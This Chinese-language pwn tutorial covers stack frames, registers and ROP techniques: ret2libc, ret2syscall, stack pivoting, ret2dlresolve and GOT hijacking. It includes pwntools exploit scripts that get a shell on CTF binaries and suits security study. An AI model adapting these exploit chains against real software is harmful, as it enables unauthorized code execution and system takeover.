PWN的底层原理与ROP艺术当你用 C/C 写代码时你是在高级语言的抽象层构建逻辑当你做 Pwn 时你是在用底层汇编、内存布局、操作系统机制去审视这套逻辑。前置知识32位寄存器EAX累加器用于算术计算和函数返回值EBX基地址寄存器作为存储器指针ECX计数寄存器常用于循环计数EDX数据寄存器参与乘除计算和I/O操作ESP堆栈指针指向栈顶EBP基指针指向栈底ESI/EDI变址寄存器用于字符串操作段寄存器段寄存器用于支持段式存储器管理包含6个16位寄存器CS、DS、ES、SS、FS、GS。CS代码段寄存器指向代码段的基址。DS数据段寄存器指向数据段的基址。ES附加数据段寄存器常用于字符串操作。SS栈段寄存器指向堆栈段的基址。FS/GS附加段寄存器通常由操作系统用于线程或CPU特定的内存管理。指令指针寄存器EIP存储下一条要执行指令的地址它的值会随着指令的执行自动更新或通过跳转指令修改标志寄存器EFLAGS寄存器包含多个标志位用于反映运算结果或控制处理器状态。CF进位标志表示是否产生进位或借位。ZF零标志表示运算结果是否为零。SF符号标志反映结果的正负。OF溢出标志表示有符号运算是否溢出。DF方向标志控制字符串操作的方向。IF中断允许标志决定是否响应外部中断。64位寄存器64位低32位低16位低8位描述raxeaxaxal累加器rbxebxbxbl基地址rcxecxcxcl循环计数器rdxedxdxdl数据寄存器通常扩展A寄存器rsiesisisil字符串操作的源索引rdiedididil字符串操作的目的索引rbpebpbpbpl基地址指针 (栈帧基地址)rspespspspl栈指针 (栈顶指针)r8r8dr8wr8b新增通用寄存器r9r9dr9wr9b新增通用寄存器r10r10dr10wr10b新增通用寄存器r11r11dr11wr11b新增通用寄存器r12r12dr12wr12b新增通用寄存器r13r13dr13wr13b新增通用寄存器r14r14dr14wr14b新增通用寄存器r15r15dr15wr15b新增通用寄存器汇编指令push比如push rbp1.先将指针rsp-8栈从高地址向低地址增长先腾出空间2.然后把rbp寄存器中的值写入新栈顶[rsp]指向的内存位置也就是说 push rbp是吧当前的rbp的值保存在栈上pop比如pop rbp1.从栈顶即[rsp]指向的内存位置读取一个8字节的值2.将它写入rbp寄存器中3.同时将rsp增加8栈指针上移相当于弹出也就是说 pop rbp是吧栈上的当前值弹出并赋值给rbp以调用一个函数为例比如是x86-64调用者做了call my_function;等价于 push rip;jmp my_function此时栈向低地址增长的状态高地址 | ... | | 参数 n | 某些参数可能通过寄存器传其余压栈 | ... | | 返回地址 | ← call 指令压入的 rip调用者的下一条指令 低地址 ← rsp 指向这里最开始的操作my_function:push rbp;① 保存调用者的 rbp mov rbp,rsp;② 设置自己的栈帧基址 sub rsp,N;③ 为局部变量分配空间可选push rbp将调用者函数的栈帧基址rbp的值压栈保存这样能方便函数结束之后还能恢复到最初的栈帧此时rsp自动减8且rsp现在指向旧的rbpmov rbp,rsp把当前栈顶保存rbp的那个位置作为当前函数的栈帧基址固定到rbp之后除非使用leave不然rbp在整个函数不会改变sub rsp,N把rsp向下移动N个字节腾出局部变量临时数据可能的寄存器保存区域等如果子函数局部变量很少有时可以省略这三步以后栈内存布局变为高地址 | 调用者的 rbp | ← rbp 现在指向这里 (当前函数的帧基址) | 返回地址 | ← rbp 8 | 参数区/更多 | ← rbp 16 开始可能是调用者压入的参数 | ... | | 局部变量区域 | ← rsp 指向这里 (低地址) 低地址也就是所有的局部变量都可以通过rbp-偏移来访问参数和返回地址可以通过rbp偏移来访问无论中途rsp怎么变rbp都始终指向栈帧的底部结束部分基本函数的结尾都是leave ret他们基本都一起出现负责清理栈帧并将控制权返回给调用者对于ret很好理解1.从栈顶弹出8字节64位把这个值作为返回地址然后rsp82.跳转回这个地址并继续执行即恢复到调用函数的下一条指令它只负责修改rip和rsp对于leave它等价于两条指令mov rsp,rbp;恢复栈指针到帧基址相当于丢弃函数内分配的局部变量空间 pop rbp;弹出旧 rbp同时 rsp 自动8因为我们一开始存好了rbp的基址所以第一步mov就可以很顺利地恢复到栈帧基址随后pop rbp也就相当于清理旧的栈帧成功开辟新的空间去操作关于ROP链ROPReturn-Oriented Programming返回导向编程是一种非常经典且高级的漏洞利用技术前提对于一般的漏洞攻击最常见的手法是缓冲区溢出攻击者把一段恶意代码shellcode写进程序的栈中然后通过溢出覆盖函数的返回地址让程序直接执行这段恶意代码其实这也就是我们说的ret2shellcode通过定位起始地址到返回地址算出长度然后塞入垃圾数据最终覆盖返回地址为我们写入shellcode的地方然后执行shellcodegetshell。。为了防御这种攻击操作系统引入了NX堆栈不可执行或DEP数据执行保护保护开启后如果CPU尝试在栈上写代码程序会直接崩溃这时如果还想拿到shell的话就得使用ROP了核心Gadget代码片段就是程序内存中已经存在的以ret指令结尾的极短指令序列需要ret结尾的原因是ret指令的本质在于从栈顶弹出一个地址然后给rip进而确定下一条指令的地址我们需要控制程序的流程就需要ret来辅助我们过程由于我们正在构建ROP链所以从前往后数据是以此从低往高写的也就是低地址往高地址攻击者会在栈上精心布置一系列的数据和 Gadget 的地址。当原函数执行完毕触发 ret 时可怕的连锁反应就开始了触发点函数执行到原本的 ret此时栈顶已经被攻击者覆盖为Gadget 1 的地址。CPU 跳转到 Gadget 1。执行 Gadget 1 Gadget 1 执行了一条或几条有用指令比如给寄存器赋个值。连接点Gadget 1 执行完后它的最后一条指令又是 ret此时栈顶指针RSP已经移动到了下一个位置而那里刚好是攻击者布置的Gadget 2 的地址。循环往复CPU 乖乖地跳转到 Gadget 2 执行执行完遇到 ret又跳转到栈上的下一个地址……这些 Gadget 就像链条一样被 ret 指令一环扣一环地串联起来执行这就是ROP 链ROP Chain。实例ret2libcfrompwnimport*elfELF(./vuln)libcELF(./libc.so.6)# 题目通常会提供 libcpprocess(./vuln)# 假设通过调试测出溢出偏移为 72offset72# 第一步泄露 libc 基址ropROP(elf)# 调用 puts 打印 puts 自己在 GOT 表里的真实地址rop.puts(elf.got[puts])# 打印完后让程序再次回到 main 函数重新触发一次漏洞rop.call(elf.sym[main])payload1bA*offsetrop.chain()p.sendlineafter(bInput:,payload1)# 接收并解析泄露的地址puts_leaku64(p.recvuntil(b\x7f)[-6:].ljust(8,b\x00))print(f[] Leak puts address:{hex(puts_leak)})# 计算 libc 基址libc.addressputs_leak-libc.sym[puts]print(f[] Libc base:{hex(libc.address)})# 第二步执行 system(/bin/sh)rop2ROP(libc)# 有了基址直接在 libc 里找 system 和 /bin/sh# 注意64位 Ubuntu 系统有时需要多加一个单纯的 ret 指令来对齐 16 字节栈环境rop2.raw(rop2.ret.address)rop2.system(next(libc.search(b/bin/sh\x00)))payload2bA*offsetrop2.chain()p.sendlineafter(bInput:,payload2)# main函数重新运行再次输入p.interactive()栈的布局发送第一段payload1前 高地址 (栈底) [ main 函数的地址 ] - puts 执行完后的返回地址 (为了无限循环利用) [ putsplt 地址 ] - pop rdi; ret 之后的去向去执行 puts 打印 [ putsgot 地址 ] - 准备弹给 rdi 寄存器的值 (即 puts 的参数) [ pop rdi; ret 的地址 ] - 劫持 EIP 的第一步 [ 72 字节的垃圾数据 ] - 填充满局部变量和旧的 RBP 低地址 (当前 RSP) 对于64位由于call函数要求rsp必须16字节对齐所以最好是在ROP链前面加上ret1.目前跳到了pop rdi;ret这里2.先执行最开始的ret把当前地址弹出存到rip然后rsp上移3.执行pop rdi;ret先pop rdi将栈顶也就是putsgot的地址存到rdi然后rsp上移4.ret将当前地址putsplt弹出给riprsp继续上移5.执行puts函数由于我们前面rdi里存着puts的got表地址即为函数在libc动态链接库中的真实地址然后执行puts将它的真实地址打印了出来6.函数结束执行leave;ret操作rsp指向main函数地址然后ret下一步返回到main函数通过第一段我们拿到了puts函数真实地址就可以算出libc的基址了下一步执行system高地址 ------------------- | system 地址 | ← 调用 system将会跳转到 libc 的 system 函数 (5) ------------------- | /bin/sh 地址 | ← 弹入 rdi 的参数 (4) ------------------- | pop rdi; ret | ← 第二个 gadget (3) ------------------- | ret 的地址 | ← 额外对齐用只执行 ret (2) ------------------- | 72 字节 A 填充 | ← 缓冲区覆盖 (1) ------------------- | 局部变量 / 缓冲区 | 低地址同样先填充字节到返回地址处这里由于是64位加个ret对齐然后正常按照64位的流程先使用pop rdi;ret下一步放入存入rdi的值随后启动system函数参数直接写进了bin/sh然后执行getshellret2syscall脚本frompwnimport*pprocess(./static_vuln)offset112# 利用 ROPgadget 等工具提前找好的地址pop_eax_ret0x08051234pop_ebx_ecx_edx_ret0x08065432int_0x800x08048122bin_sh_addr0x08091111# 假设在程序静态数据区找到了 /bin/sh# 组装 ROP 链目标是执行 execve(/bin/sh, 0, 0)# execve 的系统调用号是 11 (0xb)payloadbA*offset payloadp32(pop_eax_ret)payloadp32(11)# 让 eax 11payloadp32(pop_ebx_ecx_edx_ret)payloadp32(bin_sh_addr)# 让 ebx /bin/sh 所在的地址payloadp32(0)# 让 ecx 0payloadp32(0)# 让 edx 0payloadp32(int_0x80)# 触发系统调用p.sendline(payload)p.interactive()同样的思路。。[ 低地址 (栈顶) ] --- 此时 ESP 正指着这里 栈内相对位置 | 内存中实际存放的数据 (32位) | 这一格的作用是什么 [ESP] | 0x08051234 (pop eax; ret) | 原函数的返回地址链条的第一步 ------------------------------------------------------------------------- [ESP 4] | 11 | 准备喂给 EAX 的系统调用号 (execve) ------------------------------------------------------------------------- [ESP 8] | 0x08065432 (pop ebx; ecx...) | 准备跳去的第二段 Gadget ------------------------------------------------------------------------- [ESP 12] | 0x08091111 (bin_sh_addr) | 准备喂给 EBX 的字符串地址 ------------------------------------------------------------------------- [ESP 16] | 0 | 准备喂给 ECX 的值 ------------------------------------------------------------------------- [ESP 20] | 0 | 准备喂给 EDX 的值 ------------------------------------------------------------------------- [ESP 24] | 0x08048122 (int 0x80) | 最后的归宿系统调用大门 [ 高地址 (栈底方向) ]此时正准备执行函数的最后一步ret执行之后当前栈顶弹出到eipesp下移准备去执行 pop eax; ret此时 ESP 指向 11。pop eax将栈顶的值11弹出给eaxesp继续下移ret将当前值取出给eipesp下移随后程序会读取eip的值作为下一条指令的地址。。。以此类推eaxebxecxedx拿到值之后ret然后执行int 0x80指令触发系统调用并且里面的参数符合直接getshell由于是32位参数进来直接进入栈中所以不需要pop rdi;ret这一个指令的地址靠的是函数末尾处的ret来往下走栈迁移脚本frompwnimport*elfELF(./vuln)pprocess(./vuln)# 假设存在全局变量/bss段我们可以往这里写入数据bss_addrelf.bss()0x100leave_ret_addr0x080484b8# 提前找好的 leave; ret 的地址# 第一步在宽敞的 bss 段提前布置好恶意的 ROP 链 # 假设程序一开始提供了一次往 bss 段写任意数据的机会# 这里布置的链就是常规的 ret2libc 或者系统调用fake_stack_ropROP(elf)fake_stack_rop.puts(elf.got[puts])fake_stack_rop.call(elf.sym[main])p.sendafter(bWrite to BSS:,fake_stack_rop.chain())# 第二步极小溢出触发栈迁移 # 假设这是溢出函数我们只有 0x20 的缓冲区最多写 0x28 个字节offset0x20payloadbA*offset payloadp32(bss_addr-4)# 覆盖 saved ebp。减 4 是为了让 leave 指令执行后esp 恰好指向 bss_addrpayloadp32(leave_ret_addr)# 覆盖 ret addr (eip)。# 发生什么# 1. 目标函数原本的 leave: 把被覆盖的 ebp 赋给 esp然后 pop ebp。此时 esp 来到了 bss_addr 附近。# 2. 目标函数原本的 ret: 去执行被我们覆盖的 leave_ret_addr。# 3. 再次执行 leave: 将 esp 彻底定位到了 bss_addr并 pop ebp。# 4. 再次执行 ret: 这次从栈顶此时就是 bss_addr弹出的返回地址正好是我们第一步写入的 ROP 链p.sendafter(bTiny overflow:,payload)p.interactive()32位ROP链对于32位的参数直接进栈不需要pop rdi;ret但也意味着一个问题就是他不会自动通过ret去跳转到我下一条指令的地址我们需要自己写入返回地址32位的函数汇编长这样my_func:;---1.函数序言(Function Prologue)---push ebp;保存调用者的 ebp mov ebp,esp;把当前的 esp 赋值给 ebp建立自己的栈帧;---2.真正的主体代码---mov eax,dword ptr[ebp8];---用 ebp8拿到了 arg1 !;---3.函数结语(Function Epilogue)---pop ebp;恢复调用者的 ebp ret;返回可以看到最终拿参数的地方是ebp8的位置过程如下时刻 1刚好跳转到 my_func 的瞬间函数序言还没执行在这个瞬间因为之前的 call 指令或者我们 ROP 的 ret 占位栈长这样 高地址 [ 参数 arg1 的值 ] - (此时 ESP 4) [ 返回地址 ] - (此时 ESP) 低地址 看此时参数确实在 ESP 4 的位置时刻 2执行 push ebp这是 my_func 的第一条指令。它把旧的 ebp 压入了栈中导致栈顶ESP往下走了一格4个字节 高地址 [ 参数 arg1 的值 ] - (此时 ESP 8) [ 返回地址 ] - (此时 ESP 4) [ 旧的 EBP 值 ] - (此时 ESP) 低地址 发现了吗因为压入了一个 EBP原本在 ESP4 的参数现在相对于 ESP 变成了 ESP8时刻 3执行 mov ebp, esp这是 my_func 的第二条指令。它把此刻的 ESP 地址直接复制给了 EBP。此时栈的结构没有变但是寄存器的参考系变了 高地址 [ 参数 arg1 的值 ] - (此时 EBP 8) [ 返回地址 ] - (此时 EBP 4) [ 旧的 EBP 值 ] - (此时 ESP 和 EBP 都指向这里) 低地址 由此可知真正塞入参数是ebp8的地方所以我们构造ROP链的时候往往需要在写入函数之后先填充一个无关的地址占位然后再填入我要塞进去的参数例子frompwnimport*context.terminal[tmux,splitw,-h]context.archi386pprocess(./no_relro_32)ropROP(./no_relro_32)elfELF(./no_relro_32)p.recvuntil(bWelcome to XDCTF2015~!\n)offset112rop.raw(offset*a)rop.read(0,0x080498044,4)dynstrelf.get_section_by_name(.dynstr).data()dynstrdynstr.replace(bread,bsystem)rop.read(0,0x080498E0,len(dynstr))rop.read(0,0x080498E00x100,len(b/bin/sh\x00))rop.raw(0x08048376)rop.raw(0xdeadbeef)rop.raw(0x080498E00x100)assert(len(rop.chain())256)rop.raw(a*(256-len(rop.chain())))p.send(rop.chain())p.send(p32(0x080498E0))p.send(dynstr)p.send(b/bin/sh\x00)p.interactive()原始 .dynamic: DT_STRTAB - 真实 .dynstr (地址 A) ROP 第一步: 将 DT_STRTAB 指针改为 ---- 0x080498E0 ROP 第二步: 在 0x080498E0 写入 假 .dynstr (将 read 改成 system) ROP 第三步: 在 0x080498E00x100 写入 /bin/sh\x00 ROP 第四步: jmp readplt6 (强制解析) - _dl_runtime_resolve 根据 DT_STRTAB 地址读取假表 - 原符号是 read, 现在字符串是 system - 解析出 system 地址并调用 - 栈上参数指向 /bin/sh - system(/bin/sh) 执行拿到 shellROP链如下rop.raw(offset*a)# 1. 填充偏移rop.read(0,0x080498044,4)# 2. 第一次 read改动态字符串表指针rop.read(0,0x080498E0,len(dynstr))# 3. 第二次 read写入伪造的字符串表rop.read(0,0x080498E00x100,8)# 4. 第三次 read写入 /bin/shrop.raw(0x08048376)# 5. 跳转到 readplt6 (强制解析)rop.raw(0xdeadbeef)# 6. system 的返回地址 (随便写)rop.raw(0x080498E00x100)# 7. system 的参数 (/bin/sh 的地址)由于system函数原型参数就需要塞入指针地址所以我们在能直接定位到bin/sh地址时直接塞进去地址但对于找不到的情况可以通过read或者gets函数把这个字符串写进一个已知的内存位置比如bss段过程如下[read_plt 地址][pppr 桥梁][0][bss段的地址]-目标地址(比如0x0804A000)[8]-读8个字节(当程序执行这一步时你的 Python 脚本用 p.send(b/bin/sh\x00)把**真正的字符串字面量**发送过去程序就会把它写进 0x0804A000)[system_plt 地址][0xdeadbeef][0x0804A000]-system 的参数填刚刚被写入了字符串的 bss 段地址GOT表劫持GOT hijack是二进制漏洞利用中一种非常经典且很常见的攻击技术它的核心思想是利用程序中的内存写入漏洞篡改GOT表中某个函数的真实地址从而程序在调用这个函数时劫持程序的执行流让其执行攻击者指定的恶意代码因为GOT表是一个存储着外部函数真实内存地址的数据表位于程序的数据段某些情况下可写对于PLT表存放着一小段代码负责跳转到GOT表记录的地址去执行原理GOT表在默认情况下未开启Full Relro是可写的可利用这点寻找漏洞攻击者首先需要找到程序中的一个“任意地址写”漏洞例如格式化字符串漏洞、数组越界写、UAF等。确定目标攻击者找到 GOT 表中某个会被程序频繁调用的函数地址比如 puts 或 printf 的 GOT 表项。篡改地址劫持攻击者利用写入漏洞将该函数的 GOT 表项内容修改为攻击者想要执行的函数地址比如 system 函数的地址或者是事先布置好的 Shellcode 地址、One_gadget 等。触发执行当程序接下来正常调用 puts 或 printf 时程序会去 GOT 表里取地址结果取到了攻击者写入的 system 的地址。举例原本程序执行 printf(“/bin/sh”)经过 GOT 表劫持后实际上执行变成了 system(“/bin/sh”)从而直接弹出了一个 Shell攻击者成功控制了系统。示例假设一个程序中存在格式化字符串漏洞并且后续会调用 exit(0)攻击者通过漏洞泄露 libc 的基址计算出 system 函数在内存中的真实地址。攻击者利用格式化字符串漏洞的 %n 特性将 exit 函数在 GOT 表中的记录修改为 system 函数的地址。当程序执行到 exit(0) 时本意是退出程序但实际上却跳转到了 system 函数。由于参数类型等因素攻击者稍作布局即可利用其执行系统命令。